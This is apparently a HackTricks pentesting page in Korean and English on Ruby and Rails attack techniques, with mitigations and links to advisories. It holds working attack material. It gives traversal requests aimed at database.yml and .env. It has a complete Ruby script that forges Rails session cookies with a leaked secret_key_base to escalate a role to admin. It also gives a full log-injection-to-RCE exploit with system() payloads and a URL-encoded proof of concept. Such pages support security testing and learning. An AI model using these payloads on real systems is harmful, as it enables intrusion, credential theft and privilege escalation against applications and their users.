Ruby 트릭
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
File upload to RCE
As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.
팁:
- 앱 시작 시 실행되는 다른 boot/eager-load 위치도 쓰기 가능하면 위험합니다(예: 
config/initializers/가 전형적인 예). 임의 파일 업로드가config/아래 아무 곳에나 놓이고 나중에 평가(evaluated)/require 된다면 부팅 시 RCE를 얻을 수 있습니다. - Rails가 부팅 시 로드하는 위치로 사용자 제어 파일을 복사하는 dev/staging 빌드를 찾아보세요(컨테이너 이미지 내부 등).
 
Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
 
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t] and/or params[:v] are attacker-controlled.
- 
테스트 중 시도할 것
 - 
variant/processing 옵션, transformation 이름 또는 임의의 ImageMagick 인수를 허용하는 엔드포인트가 있는지 확인하세요.
 - 
Fuzz
params[:t]와params[:v]로 의심스러운 에러나 실행 부작용을 확인하세요. 메서드 이름에 영향을 주거나 MiniMagick에 도달하는 원시 인수를 전달할 수 있다면 이미지 프로세서 호스트에서 code exec을 얻을 수 있습니다. - 
생성된 variant에 대해서만 읽기 권한만 있는 경우, 조작한 ImageMagick 연산을 통해 블라인드 exfiltration을 시도하세요.
 - 
완화/탐지
 - 
Active Storage +
image_processing+mini_magick를 사용하고 user-controlled transformations가 있는 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 환경은 exploitable로 간주하세요. 업그레이드와 메서드/파라미터에 대한 엄격한 allowlists 적용, 그리고 강화된 ImageMagick 정책을 권고합니다. 
Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.
config.ru나 미들웨어 스택에서Rack::Static을 마운트한 앱을 찾아보세요. 예를 들어 정적 경로에 대해 인코딩된 traversal을 시도해 보세요:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
구성된 urls: 접두사에 맞게 경로를 조정하세요. 앱이 파일 내용을 반환하면, 해결된 :root 아래의 모든 파일에 대해 LFI를 가졌을 가능성이 높습니다.
- 완화: Rack을 업그레이드하고 
:root가 공개 파일 디렉터리만 가리키며 명시적으로 설정되어 있는지 확인하세요. 
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
최소한의 Ruby로 modern cookies를 decrypt 및 re-encrypt 하는 방법(AES-256-GCM, recent Rails의 기본):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Notes:
- Older apps may use AES-256-CBC and salts 
encrypted cookie/signed encrypted cookie, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly. - On compromise/assessment, rotate 
secret_key_baseto invalidate all existing cookies. 
See also (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
 - Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
 
Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling
앱(종종 간단한 Rack/Sinatra/Rails 엔드포인트)이 다음 둘을 모두 만족할 때:
- 사용자 제어 문자열을 그대로 로그에 기록하고,
 - 이후 동일한 문자열로부터 파생된 경로에 있는 파일을 
load한다 (Pathname#cleanpath이후), 
로그를 오염시킨 뒤 앱이 해당 로그 파일을 load하도록 유도하면 종종 원격 코드 실행(remote code execution)을 달성할 수 있습니다. 핵심 원리:
- Ruby의 
load는 파일 확장자와 무관하게 대상 파일의 내용을 Ruby로 평가합니다. 내용이 Ruby로 파싱되는 모든 읽을 수 있는 텍스트 파일이 실행됩니다. Pathname#cleanpath는 파일시스템을 참조하지 않고.및..세그먼트를 정리(collapse)합니다. 이로 인해 path smuggling이 가능해집니다: 공격자가 제어하는 불필요한 문자열을 로그에 앞에 추가해도 cleanpath 후에는 여전히 실행하려는 의도된 파일로 해석될 수 있습니다(예:../logs/error.log).
Minimal vulnerable pattern
require 'logger'
require 'pathname'
logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath
로그에 유효한 Ruby가 포함될 수 있는 이유
Logger는 다음과 같은 접두사 라인을 작성합니다:
I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>
In Ruby에서는 #이 주석을 시작하고 9/2/2025는 단지 산술입니다. 유효한 Ruby 코드를 주입하려면 다음이 필요합니다:
- 페이로드를 새 줄에서 시작하여 INFO 라인의 
#에 의해 주석 처리되지 않도록 하세요; 선행 줄바꿈(\n또는%0A)을 전송하세요. - INFO 라인에서 도입된 미완성 
[를 닫으세요. 일반적인 트릭은]로 시작하고 선택적으로 파서를 만족시키기 위해][0]=1을 사용하는 것입니다. - 그런 다음 임의의 Ruby 코드를 넣으세요(예: 
system(...)). 
Example of what will end up in the log after one request with a crafted param:
I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
로그에 코드가 기록되면서 동시에 로그 경로로 해석되는 단일 문자열 스머글링
공격자가 제어하는 하나의 문자열로 다음을 만족해야 합니다:
- 로그가 raw로 기록될 때, 우리의 Ruby payload를 포함하고,
 Pathname.new(<input>).cleanpath를 통과하면../logs/error.log로 해석되어 이후load가 방금 오염된 로그 파일을 실행하게 됩니다.
Pathname#cleanpath은 schemes를 무시하고 traversal 구성 요소를 축약하므로, 다음과 같이 동작합니다:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
#before://은 로그가 실행될 때 Ruby가 꼬리 부분을 무시하도록 보장하고,cleanpath는 여전히 접미사를../logs/error.log로 축소합니다.- 선행 newline은 INFO 라인에서 벗어나게 하고; 
]는 늘어진 대괄호를 닫으며;][0]=1은 파서를 만족시킵니다. 
종단 간 익스플로잇
- Send the following as the backup script name (URL-encode the first newline as 
%0Aif needed): 
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- The app logs your raw string into 
logs/error.log. - The app computes 
cleanpathwhich resolves to../logs/error.logand callsloadon it. - Ruby executes the code you injected in the log.
 
To exfiltrate a file in a CTF-like environment:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (첫 문자는 개행 문자입니다):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
참고자료
- Rails 보안 공지: CVE-2025-24293 Active Storage 안전하지 않은 변환 메서드 (수정됨: 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
 - GitHub 권고: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
 - Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
 - Ruby Pathname.cleanpath docs
 - Ruby Logger
 - How Ruby load works
 
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
HackTricks